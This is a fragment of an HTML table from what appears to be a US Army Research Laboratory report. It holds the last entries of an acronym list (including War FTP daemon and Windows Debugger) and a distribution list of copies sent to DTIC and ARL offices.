<td>TCP/IP</td>
<td>Transmission Control Protocol/Internet Protocol</td>
</tr>
<tr>
<td>warftpd</td>
<td>War FTP daemon</td>
</tr>
<tr>
<td>WinDBG</td>
<td>Windows Debugger</td>
</tr>
<tr>
<td>No. of Copies</td>
<td>Organization</td>
</tr>
<tr>
<td>--------------</td>
<td>--------------</td>
</tr>
<tr>
<td>1 (PDF ONLY)</td>
<td>ADMNSTR DEFNS TECHL INFO CTR DTIC OCP (ELECTRONIC COPY) 8725 JOHN J KINGMAN RD STE 0944 FT BELVOIR VA 22060-6218</td>
</tr>
<tr>
<td>3 CDs</td>
<td>US ARMY RSRCH LAB IMNE ALC IMS MAIL &amp; RECORDS MGMT AMSRD ARL CI OK TL TECHL LIB AMSRD ARL CI OK T TECHL PUB 2800 POWDER MILL ROAD ADELPHI MD 20783-1197</td>
</tr>
<tr>
<td>1 CD</td>
<td>US ARMY RESEARCH LAB ATTN AMSRD MAILROOM VAULT R REYNA BLDG 1624 WSMR NM 88002-5513</td>
</tr>
<tr>
<td>1 CD</td>
<td>US ARMY RESEARCH LAB AMSRD CI OK TP TECHL LIB ATTN T LANDFRIED APG MD 21005</td>
</tr>
<tr>
<td>1 HC</td>
<td>US ARMY RESEARCH LAB</td>
</tr>
<tr>
<td>1 CD</td>
<td>AMSRD ARL SL EI D VILLA BLDG 1624 WSMR NM 88002-5513</td>
</tr>
<tr>
<td>1 CD</td>
<td>AMSRD ARL SL EI D LANDIN BLDG 1624 WSMR NM 88002-5513</td>
</tr>
<tr>
<td>Total:</td>
<td>9 (7 CDs, 1 PDF, 1 HC )</td>
</tr>
</tbody>
</table>